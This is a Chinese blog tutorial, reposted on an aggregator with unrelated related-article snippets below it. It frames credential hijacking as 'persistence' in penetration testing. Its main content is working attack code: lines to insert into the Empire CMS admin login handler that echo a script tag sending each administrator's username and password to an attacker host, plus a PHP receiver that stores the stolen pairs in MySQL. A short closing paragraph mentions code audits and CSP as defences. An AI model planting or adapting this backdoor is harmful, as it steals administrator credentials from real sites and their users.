账户名密码是怎样被窃取的,简单模拟攻击者权限维持流程。

news2025/1/21 12:04:24

前言

在我们进行渗透测试的时候,常常需要进行权限维持,常见的 Javascript窃取用户凭证是一种常见的攻击手法。
之前我们可能学习过钓鱼网页的使用,如果我们通过渗透测试进入到用户的服务器,其实也可以通过在网页中植入Javascript代码的方式来达到权限维持的效果。
本篇文章通过分析Javascript用户凭证窃取,来分析如何进行权限维持。

正文

凭证劫持流程

“凭证劫持”(Credential Hijacking)是指攻击者通过非法手段窃取或获取到用户的认证信息(如用户名和密码),从而在无需合法用户授权的情况下,冒充该用户访问受保护的网络资源或服务。
实现凭证劫持的流程非常简单,如下图所示:

凭证劫持实现权限维持的需要:

  • 受控服务器
  • 恶意代码植入
  • 攻击者服务器接收用户名及密码

凭证劫持演示

前置环境准备:

  1. 帝国 CMS:http://www.phome.net/
  2. 用户数据库创建

在攻击者服务器中,我们使用如下语句来创建相关的数据库:

CREATE DATABASE flash;

USE flash;

CREATE TABLE info (
  username VARCHAR(255) NOT NULL,
  password VARCHAR(255) NOT NULL
);

以上MYSQL语句的作用是创建一个名为flash的数据库以及一个名为info的表单,表单中包含两列,一列为username,另一列为password
我们本次实验使用帝国 CMS 进行实验测试,在帝国 CMS 处理后台管理员账户名密码的文件/admin/ecmsadmin.php中,我们可以看到这样一段代码:

if($enews=="login")//登陆
{
  $username=$_POST['username'];
  $password=$_POST['password'];
  $key=$_POST['key'];
  $loginin=$username;
  login($username,$password,$key,$_POST);
}
else
{
  printerror("ErrorUrl","history.go(-1)");
}

这段代码用于处理前端表单数据中 POST 上来的usernamepassword,并将其赋值给相关变量,此时我们在if条件判断成功语句中插入恶意执行Javascript代码:

$url = "http://xxx.xxx.xxx.xxx/index.php?user={$username}&pass={$password}";
$up = "<script src=\"{$url}\"></script>";
echo $up;

此时在攻击者服务器中部署恶意代码,代码内容如下:

<?php
// 数据库连接信息
$servername = "localhost";$username = "root";
$password = "root";$dbname = "flash";

// 创建连接
$conn = new mysqli($servername, $username,$password, $dbname);

// 检查连接
if ($conn->connect_error) {
    die("连接失败: " . $conn->connect_error);
}

// 用户名和密码从 GET 请求中获取,实际应用中应从安全的地方获取
$user =$_GET['user'];
$pass =$_GET['pass'];

// 准备检查唯一性的 SQL 语句
$stmt =$conn->prepare("SELECT * FROM info WHERE username = ?");
$stmt->bind_param("s",$user); // 绑定参数 's' 表示字符串类型
$stmt->execute();

// 获取结果
$result =$stmt->get_result();

// 检查是否存在相同用户名和密码
if ($result->num_rows > 0) {
    // 如果存在,则不执行 INSERT 语句
    echo "该用户名或密码已存在。";
} else {
    // 如果不存在,准备插入语句
    $stmt =$conn->prepare("INSERT INTO info (username, password) VALUES (?, ?)");
    $stmt->bind_param("ss",$user, $pass);
    
    // 执行插入语句
    if ($stmt->execute()) {
        echo "新用户已成功添加。";
    } else {
        echo "添加新用户失败:" . $stmt->error;
    }
}

// 关闭语句和连接
$stmt->close();$conn->close();
?>

此时我们模拟管理员登录进入到帝国 CMS 页面:
image.png
并先后用以下账户名和密码进行登录:

username1:pasword1
admin:password
guest:guestpasword

此时访问攻击者服务器数据库,此时相关用户名与密码已经存入到数据中,凭证成功劫持。
image.png

总结

本篇文章总结了常见的钓鱼网页的钓鱼手法,以及通过使用这种手法达到凭证劫持的效果,在工作环境中,我们要进行代码审计来审查自己的服务代码中是否被黑客植入了恶意代码或者发现未知漏洞,同时也可以实施CSP可以限制哪些来源的资源可以被加载到网页中,以此减少恶意脚本的风险。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1475069.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

用CSS实现一个扇形

用CSS实现扇形的思路和三角形基本一致&#xff0c;就是多了一个圆角的样式&#xff0c;实现一个90的扇形&#xff1a; div{border: 100px solid transparent;width: 0;heigt: 0;border-radius: 100px;border-top-color: red; }

上机题-西北农林科技大学(一)

题目&#xff1a;输入一个字符串&#xff0c;统计字符串中大、小写字母&#xff0c;数字及其他字符出现的次数 代码解释&#xff1a; #include <stdio.h> int main() {char chuan[1000];scanf("%s", chuan);int big 0, small 0, number 0, other 0, i 0;…

Day03:Web架构OSS存储负载均衡CDN加速反向代理WAF防护

目录 WAF CDN OSS 反向代理 负载均衡 思维导图 章节知识点&#xff1a; 应用架构&#xff1a;Web/APP/云应用/三方服务/负载均衡等 安全产品&#xff1a;CDN/WAF/IDS/IPS/蜜罐/防火墙/杀毒等 渗透命令&#xff1a;文件上传下载/端口服务/Shell反弹等 抓包技术&#xff1a…

pdf转word文档怎么转?分享4种转换方法

pdf转word文档怎么转&#xff1f;在日常工作中&#xff0c;我们经常遇到需要将PDF文件转换为Word文档的情况。无论是为了编辑、修改还是为了重新排版&#xff0c;将PDF转为Word都显得尤为重要。那么&#xff0c;PDF转Word文档怎么转呢&#xff1f;今天&#xff0c;就为大家分享…

当Web3叙事寒冬到来,游戏是否是冬日里的“一把火”?

出品&#xff5c;欧科云链研究院 作者&#xff5c;Jason Jiang 以太坊创始人Vitalik在2019年曾说&#xff1a;金融与游戏会是区块链最先落地的场景。 在DeFi金融创新驱动上个周期后&#xff0c;沉寂近两年的Web3游戏板块&#xff0c;如今似乎也在复苏。无论是频繁获得融资&a…

5G双域快网

目录 一、业务场景 二、三类技术方案 2.1、专用DNN方案 2.2、ULCL方案&#xff1a;通用/专用DNNULCL分流 2.3、 多DNN方案-定制终端无感分流方案 漫游场景 一、业务场景 初期双域专网业务可划分为三类业务场景&#xff0c;学校、政务、文旅等行业均已提出公/专网融合访问需…

环境分析检测小剂量移液用耐受硝酸盐酸PFA材质吸管特氟龙移液枪枪头

PFA枪头&#xff0c;为移液枪专业定制&#xff0c;广泛用于ICP-MS、ICP-OES等痕量分析以及同位素分析等实验室。地质、电子化学品、半导体分析测试、疾控中心、制药厂、环境检测中心等一些机构少量移液用。 规格参考:0.1-0.2ml、1ml、2ml、5ml、10ml等。 目前部分规格可适配普…

mac电脑监控软件哪个好

在Mac电脑使用日益普及的今天&#xff0c;企业对于Mac终端的安全管理需求也日益增长。Mac电脑监控软件作为一种有效的管理工具&#xff0c;能够帮助企业提高数据安全性和员工工作效率。 在众多Mac电脑监控软件中&#xff0c;域智盾软件以其卓越的功能和性能脱颖而出&#xff0c…

1215数字化城管建设项目解决方案

数字城管又叫“数字化城市管理”就是指用信息化手段和移动通信技术手段来处理、分析和管理整个城市的所有城管部件和城管事件信息&#xff0c;促进城市管理的现代化的信息化措施。数字城管把像井盖、路灯、邮筒、果皮箱、停车场、电话亭等城市元素都纳入城市信息化管理的范畴&a…

历史新知网:寄快递寄个电脑显示器要多少钱?

以下文字信息由&#xff08;新史知识网&#xff09;编辑整理发布。 让我们赶紧来看看吧&#xff01; 问题1&#xff1a;快递寄电脑显示器要多少钱&#xff1f; 此物有多重&#xff1f; 顺丰寄就可以了&#xff0c;但是必须是原包装的&#xff0c;不然不好寄。 问题2&#xff1…

2024智慧城市革命:人工智能、场景与运营的融合之力

在数字革命的浪潮中&#xff0c;2024年的智慧城市将成为人类社会进步的新地标。 三大关键元素——人工智能、场景应用和精准运营——正在重新塑造城市面貌&#xff0c;构建未来的智慧城市生活图景。 一、人工智能&#xff1a;赋能智慧城市 随着人工智能技术的快速发展&#x…

Open3D 点云法向量计算与可视化 (25)

Open3D 点云法向量计算与可视化 (25) 一、算法原理二、算法实现三、可视化显示和长度调节一、算法原理 通常计算点云的法向量可以使用以下两种常见的方法: 最小二乘法(Least Squares Method):该方法通过拟合局部表面的平面来计算法向量。对于给定点周围的邻域,可以通过…

小程序一键链接WIFI

1.小程序一键链接WIFI connectWifi: function() {var that this;//检测手机型号wx.getSystemInfo({success: function(res) {var system ;if (res.platform android) system parseInt(res.system.substr(8));if (res.platform ios) system parseInt(res.system.substr(4…

如何使用ArcGIS Pro为栅格图添加坐标信息

在某些时候&#xff0c;我们从网上获取的资源是一张普通的栅格图&#xff0c;没有任何的坐标信息&#xff0c;如果想要和带坐标信息的数据一起使用就需要先添加坐标信息&#xff0c;在GIS上&#xff0c;我们把这个过程叫做地理配准&#xff0c;这里为大家介绍一下地理配准的方法…

比例阀门线性驱动器大电流输出信号隔离模块4-20mA/0-5V/0-10V转0-165mA/0-1A/0-10V/0-24V/0-2A

主要特性 精度、线性度误差等级&#xff1a; 0.1、0.2、0.5 级4-20mA/0-5V/0-10V 等标准信号输入0~100mA/0~500mA/0~1A/0-5A 等电流信号输出0~1V(max 5A)/0~10V/0-24V(max 5A) 等电压信号输出信号输入/信号输出 3000VDC 隔离辅助电源&#xff1a;12V、15V 或 24V 直流单电源供…

强大的Docker入门知识

目录 一、Docker简介 1.1、Docker是 1.2、Docker通常会在以下情况下使用&#xff1a; 1.3、Docker和VMware区别 1.4、Docker 的优点 二、环境配置 2.1、代码操作 2.2、效果演示 2.3、配置镜像仓库 开始配置 三、基本命令 3.1、Docker基本命令 3.2、Docker镜像常用…

【ArcGIS】统计格网中不同土地利用类型占比

基于ArcGIS统计格网中不同土地利用类型占比 数据准备ArcGIS操作步骤1、创建渔网&#xff08;Create Fishnet&#xff09;2、建立唯一标识3、选择格网4、提取不同类别土地利用类型5、各类用地面积计算 参考另&#xff1a;可能出现的问题总结Q1&#xff1a;ArcGIS获取唯一值&…

抖音视频批量下载软件|视频评论采集工具

抖音视频评论采集软件是一款基于C#开发的高效、便捷的工具&#xff0c;旨在为用户提供全面的数据采集和分析服务。用户可以通过关键词搜索抓取视频数据&#xff0c;也可以通过分享链接进行单个视频的抓取和下载&#xff0c;从而轻松获取抖音视频评论数据。 批量视频提取模块&a…

Redis String 类型底层揭秘

目录 前言 String 类型低层数据结构 节省内存的数据结构 前言 Redis 的 string 是个 “万金油” &#xff0c;这么评价它不为过. 它可以保存Long 类型整数&#xff0c;字符串&#xff0c; 甚至二进制也可以保存。对于key&#xff0c;value 这样的单值&#xff0c;查询以及插…

react-组件进阶

1.目标 能够实用props接收数据 能够实现父子组件之间的通讯 能够实现兄弟组件之间的通讯 能够给组件添加props校验 能够说出生命周期常用的钩子函数 能够知道高阶组件的作用 2.目录 组件通讯介绍 组件的props 组件通讯的三种方式 Context props深入 组件的生命周期 Render-p…